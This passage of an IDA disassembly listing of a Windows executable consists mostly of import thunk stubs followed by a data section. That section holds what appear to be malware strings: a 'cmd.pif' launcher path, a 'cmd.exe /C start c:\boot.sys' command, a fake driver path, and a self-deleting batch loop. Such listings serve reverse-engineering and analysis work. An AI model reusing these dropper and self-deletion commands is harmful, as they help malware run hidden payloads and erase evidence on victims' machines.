dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C9BC proc near ; CODE XREF: sub_4056CB+102p ; sub_408C17+3Ep jmp ds:dword_4483B0 sub_40C9BC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C9C8 proc near ; CODE XREF: sub_40132A+90p ; sub_401883:loc_4018BFp ... jmp ds:dword_4483B4 sub_40C9C8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C9D4 proc near ; CODE XREF: sub_401883+9p ; sub_401883+9Bp ... jmp ds:dword_4483B8 sub_40C9D4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C9E0 proc near ; CODE XREF: sub_4041FC+5Cp ; sub_40AB84+FEp jmp ds:dword_4483BC sub_40C9E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C9EC proc near ; CODE XREF: sub_403AED+6Cp jmp ds:dword_4483C0 sub_40C9EC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C9F8 proc near ; CODE XREF: sub_4041FC+134p ; sub_409A96+B0Ep ... jmp ds:dword_4483C4 sub_40C9F8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CA04 proc near ; CODE XREF: sub_403530+67p ; sub_4037FA+3Dp ... jmp ds:dword_4483C8 sub_40CA04 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CA10 proc near ; CODE XREF: sub_4035A5+A2p ; .text:00403A3Fp jmp ds:dword_4483CC sub_40CA10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CA1C proc near ; CODE XREF: sub_4035A5+78p ; .text:004039E8p jmp ds:dword_4483D0 sub_40CA1C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CA28 proc near ; CODE XREF: sub_402B9B+218p jmp ds:dword_4483D4 sub_40CA28 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CA34 proc near ; CODE XREF: sub_4063C4+68p jmp ds:dword_4483D8 sub_40CA34 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CA40 proc near ; CODE XREF: sub_402B9B+1D2p jmp ds:dword_4483DC sub_40CA40 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CA4C proc near ; CODE XREF: sub_402B9B+5BCp jmp ds:dword_4483E0 sub_40CA4C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CA58 proc near ; CODE XREF: sub_401C68+39p ; sub_40211D:loc_40219Ep ... jmp ds:dword_4483E4 sub_40CA58 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CA64 proc near ; CODE XREF: sub_402B9B+A7p jmp ds:dword_4483E8 sub_40CA64 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CA70 proc near ; CODE XREF: sub_4063C4+42Bp ; sub_408C17+BEp ... jmp ds:dword_4483EC sub_40CA70 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CA7C proc near ; CODE XREF: sub_401AF1+86p ; sub_405249+6Ap ... jmp ds:dword_4483F0 sub_40CA7C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CA88 proc near ; CODE XREF: sub_405249+ADp ; sub_4056CB+77p ... jmp ds:dword_4483F4 sub_40CA88 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CA94 proc near ; CODE XREF: sub_40AB2B+1Cp jmp ds:dword_4483F8 sub_40CA94 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CAA0 proc near ; CODE XREF: sub_405249+28p jmp ds:dword_4483FC sub_40CAA0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CAAC proc near ; CODE XREF: sub_40132A+8Bp ; sub_401AF1+AEp jmp ds:dword_448400 sub_40CAAC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CAB8 proc near ; CODE XREF: sub_40107A+13p jmp ds:dword_448404 sub_40CAB8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CAC4 proc near ; CODE XREF: sub_402B9B+4B6p ; sub_408896+65p jmp ds:dword_448408 sub_40CAC4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CAD0 proc near ; CODE XREF: sub_40132A+48p ; sub_401AF1+2Fp ... jmp ds:dword_44840C sub_40CAD0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CADC proc near ; CODE XREF: sub_4053A3+45p ; sub_408165+200p ... jmp ds:dword_448410 sub_40CADC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CAE8 proc near ; CODE XREF: sub_408477+ECp jmp ds:dword_448414 sub_40CAE8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CAF4 proc near ; CODE XREF: sub_4063C4+33Cp ; sub_4063C4+381p jmp ds:dword_448418 sub_40CAF4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CB00 proc near ; CODE XREF: sub_4063C4+54Ep ; sub_408C17+300p jmp ds:dword_44841C sub_40CB00 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CB0C proc near ; CODE XREF: sub_40876F+1Ep jmp ds:dword_448420 sub_40CB0C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CB18 proc near ; CODE XREF: sub_4087A8+18p jmp ds:dword_448424 sub_40CB18 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CB24 proc near ; CODE XREF: sub_402B9B+4F7p jmp ds:dword_448428 sub_40CB24 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CB30 proc near ; CODE XREF: sub_4069C0+2Ep jmp ds:dword_44842C sub_40CB30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CB3C proc near ; CODE XREF: sub_403BBF+15Fp ; sub_4041FC+31Ap ... jmp ds:dword_448430 sub_40CB3C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CB48 proc near ; CODE XREF: sub_403BBF+ADp ; sub_403D2D+2ABp ... jmp ds:dword_448434 sub_40CB48 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CB54 proc near ; CODE XREF: sub_40AB84+533p jmp ds:dword_448438 sub_40CB54 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CB60 proc near ; CODE XREF: sub_401C68+7Fp ; sub_4055F7+17p ... jmp ds:dword_44843C sub_40CB60 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CB6C proc near ; CODE XREF: sub_4069C0+12p jmp ds:dword_448440 sub_40CB6C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CB78 proc near ; CODE XREF: sub_4063C4+29Ep ; sub_408C17+289p jmp ds:dword_448444 sub_40CB78 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CB84 proc near ; CODE XREF: sub_40802E+2Bp ; sub_40AB84+7ABp jmp ds:dword_448448 sub_40CB84 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CB90 proc near ; CODE XREF: sub_40B3C6+140p jmp ds:dword_448454 sub_40CB90 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CB9C proc near ; CODE XREF: sub_4063C4+3A4p ; sub_406B58+A9p ... jmp ds:dword_448458 sub_40CB9C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CBA8 proc near ; CODE XREF: sub_408FEB+AEp ; sub_40B525+105p ... jmp ds:dword_44845C sub_40CBA8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CBB4 proc near ; CODE XREF: sub_4063C4+326p jmp ds:dword_448460 sub_40CBB4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CBC0 proc near ; CODE XREF: sub_408F56+18p ; sub_408F56+84p jmp ds:dword_448464 sub_40CBC0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CBCC proc near ; CODE XREF: sub_408F56+53p jmp ds:dword_448468 sub_40CBCC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CBD8 proc near ; CODE XREF: sub_408FEB+A9Cp ; sub_40B3C6+66p ... jmp ds:dword_44846C sub_40CBD8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CBE4 proc near ; CODE XREF: sub_406EA8+6Fp jmp ds:dword_448470 sub_40CBE4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CBF0 proc near ; CODE XREF: sub_40AB84+49Fp jmp ds:dword_448474 sub_40CBF0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CBFC proc near ; CODE XREF: sub_40AB84+7D9p jmp ds:dword_448478 sub_40CBFC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CC08 proc near ; CODE XREF: sub_40AB84+4B3p jmp ds:dword_44847C sub_40CC08 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CC14 proc near ; CODE XREF: sub_40B525+3C0p ; sub_40B525+473p ... jmp ds:dword_448480 sub_40CC14 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CC20 proc near ; CODE XREF: sub_40AB84+832p jmp ds:dword_448484 sub_40CC20 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CC2C proc near ; CODE XREF: sub_408FEB+9BDp ; sub_408FEB+9F6p ... jmp ds:dword_448488 sub_40CC2C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CC38 proc near ; CODE XREF: sub_408FEB+9E4p ; sub_408FEB+A20p ... jmp ds:dword_44848C sub_40CC38 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CC44 proc near ; CODE XREF: sub_4045BD+6Cp jmp ds:dword_448490 sub_40CC44 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CC50 proc near ; CODE XREF: sub_4045BD+8Ep jmp ds:dword_448494 sub_40CC50 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CC5C proc near ; CODE XREF: sub_4045BD+36p jmp ds:dword_448498 sub_40CC5C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CC68 proc near ; CODE XREF: sub_40AB84+803p jmp ds:dword_44849C sub_40CC68 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CC74 proc near ; CODE XREF: sub_40AB84+81Ep jmp ds:dword_4484A0 sub_40CC74 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CC80 proc near ; CODE XREF: sub_405098+5Ep ; sub_405098+D2p ... jmp ds:dword_4484A4 sub_40CC80 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CC8C proc near ; CODE XREF: sub_408FEB+25Fp ; sub_408FEB+3C2p ... jmp ds:dword_4484A8 sub_40CC8C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CC98 proc near ; CODE XREF: sub_40AB84+4F1p jmp ds:dword_4484AC sub_40CC98 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CCA4 proc near ; CODE XREF: sub_40B525+214p jmp ds:dword_4484B0 sub_40CCA4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CCB0 proc near ; CODE XREF: sub_408FEB+97p ; sub_40B525+8D9p jmp ds:dword_4484B4 sub_40CCB0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CCBC proc near ; CODE XREF: sub_408FEB+100p ; sub_408FEB+17Fp ... jmp ds:dword_4484B8 sub_40CCBC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CCC8 proc near ; CODE XREF: sub_40B525+22Bp ; sub_40B525+7E5p jmp ds:dword_4484BC sub_40CCC8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CCD4 proc near ; CODE XREF: sub_40B525+1C6p jmp ds:dword_4484C0 sub_40CCD4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CCE0 proc near ; CODE XREF: sub_40B525+8ECp jmp ds:dword_4484C4 sub_40CCE0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CCEC proc near ; CODE XREF: sub_40AB84+4C6p jmp ds:dword_4484D0 sub_40CCEC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CCF8 proc near ; CODE XREF: sub_40B525+2D9p jmp ds:dword_4484D4 sub_40CCF8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CD04 proc near ; CODE XREF: sub_40B525+2B2p ; sub_40B525+2BEp jmp ds:dword_4484D8 sub_40CD04 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CD10 proc near ; CODE XREF: sub_40B525+310p jmp ds:dword_4484DC sub_40CD10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CD1C proc near ; CODE XREF: sub_408FEB+231p ; sub_408FEB+8C3p jmp ds:dword_4484E0 sub_40CD1C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CD28 proc near ; CODE XREF: sub_405249+41p jmp ds:dword_4484EC sub_40CD28 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CD34 proc near ; CODE XREF: sub_405249+90p jmp ds:dword_4484F0 sub_40CD34 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CD40 proc near ; CODE XREF: sub_401614+43p ; sub_4040C4+53p jmp ds:dword_4484F4 sub_40CD40 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CD4C proc near ; CODE XREF: sub_4014CB+8Cp ; sub_401614+96p ... jmp ds:dword_4484F8 sub_40CD4C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CD58 proc near ; CODE XREF: sub_4014CB+39p jmp ds:dword_4484FC sub_40CD58 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CD64 proc near ; CODE XREF: sub_4014CB+72p jmp ds:dword_448500 sub_40CD64 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CD70 proc near ; CODE XREF: sub_401614+7Cp ; sub_4040C4+84p jmp ds:dword_448504 sub_40CD70 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CD7C proc near ; CODE XREF: sub_402353+153p jmp ds:dword_448508 sub_40CD7C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CD88 proc near ; CODE XREF: sub_402353+18Ep jmp ds:dword_44850C sub_40CD88 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CD94 proc near ; CODE XREF: sub_402353+174p jmp ds:dword_448510 sub_40CD94 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CDA0 proc near ; CODE XREF: sub_405098+17p jmp ds:dword_448514 sub_40CDA0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CDAC proc near ; CODE XREF: sub_405098+179p jmp ds:dword_448518 sub_40CDAC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CDB8 proc near ; CODE XREF: sub_405098+27p jmp ds:dword_44851C sub_40CDB8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CDC4 proc near ; CODE XREF: sub_4036F8+40p jmp ds:dword_448528 sub_40CDC4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CDD0 proc near ; CODE XREF: sub_401219+49p jmp ds:dword_44852C sub_40CDD0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CDDC proc near ; CODE XREF: sub_406B58+18Fp ; sub_406EA8+6Ap ... jmp ds:dword_448530 sub_40CDDC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CDE8 proc near ; CODE XREF: sub_405415+130p ; sub_405415+1B0p jmp ds:dword_448534 sub_40CDE8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CDF4 proc near ; CODE XREF: sub_409A96+FA2p ; sub_409A96+FBFp jmp ds:dword_448538 sub_40CDF4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CE00 proc near ; CODE XREF: sub_401219+74p ; sub_409A96+D25p ... jmp ds:dword_44853C sub_40CE00 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CE0C proc near ; CODE XREF: sub_408896+F7p jmp ds:dword_448540 sub_40CE0C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CE18 proc near ; CODE XREF: sub_40129C+1Bp ; .text:00401453p ... jmp ds:dword_448544 sub_40CE18 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CE24 proc near ; CODE XREF: sub_4063C4+7Ep ; sub_4063C4+1FFp ... jmp ds:dword_448548 sub_40CE24 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CE30 proc near ; CODE XREF: sub_40109A+149p jmp ds:dword_44854C sub_40CE30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CE3C proc near ; CODE XREF: sub_401777:loc_40179Dp ; sub_403D2D+3Bp ... jmp ds:dword_448550 sub_40CE3C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CE48 proc near ; CODE XREF: sub_40109A+102p ; sub_40109A+11Cp ... jmp ds:dword_448554 sub_40CE48 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CE54 proc near ; CODE XREF: sub_4038DA+36p ; .text:004039A7p ... jmp ds:dword_448558 sub_40CE54 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CE60 proc near ; CODE XREF: sub_409A96+5Ap ; sub_40AB84+138p jmp ds:dword_44855C sub_40CE60 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CE6C proc near ; CODE XREF: sub_409A96+A56p jmp ds:dword_448560 sub_40CE6C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CE78 proc near ; CODE XREF: sub_403530+45p ; sub_4035A5+58p ... jmp ds:dword_448564 sub_40CE78 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CE84 proc near ; CODE XREF: sub_40C858+17p jmp ds:dword_448568 sub_40CE84 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CE90 proc near ; CODE XREF: sub_4063C4+472p jmp ds:dword_44856C sub_40CE90 endp ; --------------------------------------------------------------------------- align 200h _text ends ; Section 2. (virtual address 0000D000) ; Virtual size : 0002E530 ( 189744.) ; Section size in file : 0002E530 ( 189744.) ; Offset to raw data for section: 0000D000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _bss segment para public 'DATA' use32 assume cs:_bss ;org 40D000h dword_40D000 dd 72656B5Ch ; DATA XREF: sub_4083E6+4Bw ; sub_4083E6+87r ... aNel32_dll db 'nel32.dll',0 align 10h db 0 aSCmd_pif db '%s\cmd.pif',0 db 0 db 2 dup(0), 5Ch aCmd_exeCStartC db 'cmd.exe /C start c:\boot.sys',0 align 10h dd 408h dup(0) dword_40E060 dd 0 ; DATA XREF: sub_408FEB+A32w ; sub_40B3C6+100r dword_40E064 dd 0 ; DATA XREF: sub_401DB9+25w ; sub_40211D+FEw ... align 10h dword_40E070 dd 40h dup(0) ; DATA XREF: sub_408165+1ECo ; sub_409A96+6B7o ... dword_40E170 dd 0 ; DATA XREF: sub_40366F+57w ; sub_40366F:loc_4036EEr dd 43Bh dup(0) dword_40F260 dd 0 ; DATA XREF: sub_401DB9+3Aw ; sub_401DB9+20Bw ... dword_40F264 dd 0 ; DATA XREF: sub_40211D:loc_4021A3w ; sub_40211D+92r ... dword_40F268 dd 0 ; DATA XREF: sub_406EA8+F1Ar ; sub_406EA8+FA0r ... byte_40F26C db 0 ; DATA XREF: sub_401DB9+122w align 10h dword_40F270 dd 40h dup(0) ; DATA XREF: sub_40132A+43o ; sub_40AB84+3A6o ... dword_40F370 dd 0 ; DATA XREF: sub_402976+6Fr ; sub_402B9B+DAw ... dd 0FFh dup(0) dword_40F770 dd 0 ; DATA XREF: sub_403845+50w ; sub_403845+8Br dd 447h dup(0) dword_410890 dd 0 ; DATA XREF: sub_408FEB+77Aw ; sub_408FEB+909r ... align 10h dword_4108A0 dd 0 ; DATA XREF: .text:00401C22w ; .text:00401C5Er dd 41Bh dup(0) dword_411910 dd 0 ; DATA XREF: sub_402B9B+578w dd 0FFh dup(0) dword_411D10 dd 785C7325h ; DATA XREF: sub_404170+4Bw ; sub_404170+82r aSlfdlnt_bat db 'slfdlnt.bat',0 db 0 db 2 dup(0), 25h aSCmd_pif_0 db 's\cmd.pif',0 align 10h db 0 aCmd_exe db '\cmd.exe',0 align 4 db 0 aLoop@delSNul@i db ':loop',0Dh,0Ah db '@del %s>nul',0Dh,0Ah db '@if exist %s goto loop',0Dh,0Ah db '@del %s>nul',0Dh,0Ah,0 align 4 dd 73250000h, 20432F20h, 7325h, 3D7h dup(0) dword_412CE0 dd 0 ; DATA XREF: .text:0040260Cw ; .text:00402647r dd 447h dup(0) dword_413E00 dd 0 ; DATA XREF: sub_408FEB+A5Bw ; sub_40B3C6+120r dword_413E04 dd 0 ; DATA XREF: sub_408FEB+4B4w ; sub_408FEB+960r ... align 10h dword_413E10 dd 0 ; DATA XREF: sub_408B8B+4Bw ; sub_408B8B+82r dd 3F1h dup(0) byte_414DD8 db 0 ; DATA XREF: sub_40211D+9Aw align 10h byte_414DE0 db 0 ; DATA XREF: sub_401DB9+5Aw ; sub_401DB9+5Fr ... align 4 dword_414DE4 dd 0 ; DATA XREF: sub_401DB9+4Bw ; sub_401DB9+1B5w ... align 10h dword_414DF0 dd 40h dup(0) ; DATA XREF: sub_409A96+871o ; sub_409A96+9A0o ... dword_414EF0 dd 0 ; DATA XREF: sub_402B9B+ACw ; sub_402B9B+CEr ... dd 0FFh dup(0) dword_4152F0 dd 0 ; DATA XREF: sub_4080E2+52w ; sub_4080E2:loc_40815Br dd 443h dup(0) dword_416400 dd 0 ; DATA XREF: .text:004019D5w ; .text:loc_4019FDr dd 463h dup(0) dword_417590 dd 0 ; DATA XREF: sub_40469F+4Fw ; sub_40470D:loc_404720r dd 41Bh dup(0) dword_418600 dd 0 ; DATA XREF: .text:00402280w ; .text:004022B9r dd 3EFh dup(0) dword_4195C0 dd 94h ; DATA XREF: sub_40AB84+EFw ; sub_40AB84+F9o dd 5, 1, 0A28h dword_4195D0 dd 2 ; DATA XREF: sub_409A96+A9Ar dd 23h dup(0) dword_419660 dd 0 ; DATA XREF: sub_40531B+57w ; sub_40531B:loc_405399r dd 453h dup(0) dword_41A7B0 dd 0 ; DATA XREF: .text:0040148Bw ; .text:loc_4014C1r dd 400h dup(0) byte_41B7B4 db 0 ; DATA XREF: sub_40211D+5Cw ; sub_40211D+61r align 4 dword_41B7B8 dd 0 ; DATA XREF: sub_401DB9+41w ; sub_401DB9+DAr ... dword_41B7BC dd 0 ; DATA XREF: sub_40B525+26Br dword_41B7C0 dd 0 ; DATA XREF: sub_4022C3+61w ; sub_402353+133r ... align 10h dword_41B7D0 dd 6972645Ch ; DATA XREF: sub_40129C+5Aw ; sub_40129C:loc_401320r aVersNdisrd_sys db 'vers\ndisrd.sys',0 align 8 aEnabledsf db 'enabledsf',0 align 4 dd 73250000h, 2E73255Ch, 657865h, 3F6h dup(0) dword_41C7D8 dd 0 ; DATA XREF: sub_40AB84+525w ; sub_40AB84+7D3r ... align 10h dword_41C7E0 dd 0 ; DATA XREF: sub_406937+4Aw ; sub_406937:loc_4069B6r dd 410h dup(0) dword_41D824 dd 0 ; DATA XREF: sub_408FEB+184w ; sub_408FEB+259r dword_41D828 dd 0 ; DATA XREF: sub_408FEB+70w ; sub_408FEB+91r ... dword_41D82C dd 0 ; DATA XREF: sub_4022C3+4Cw ; sub_4025A2+Dr dword_41D830 dd 463Ah ; DATA XREF: sub_4033E1+58w ; sub_4033E1+9Er dd 459h dup(0) dword_41E998 dd 0 ; DATA XREF: sub_401DB9+2Cw ; sub_401DB9:loc_401E4Dw ... dword_41E99C dd 0 ; DATA XREF: sub_408FEB+7E3w ; sub_408FEB+7F6r ... dword_41E9A0 dd 0 ; DATA XREF: sub_408FEB+9FBw ; sub_40B3C6+EBr 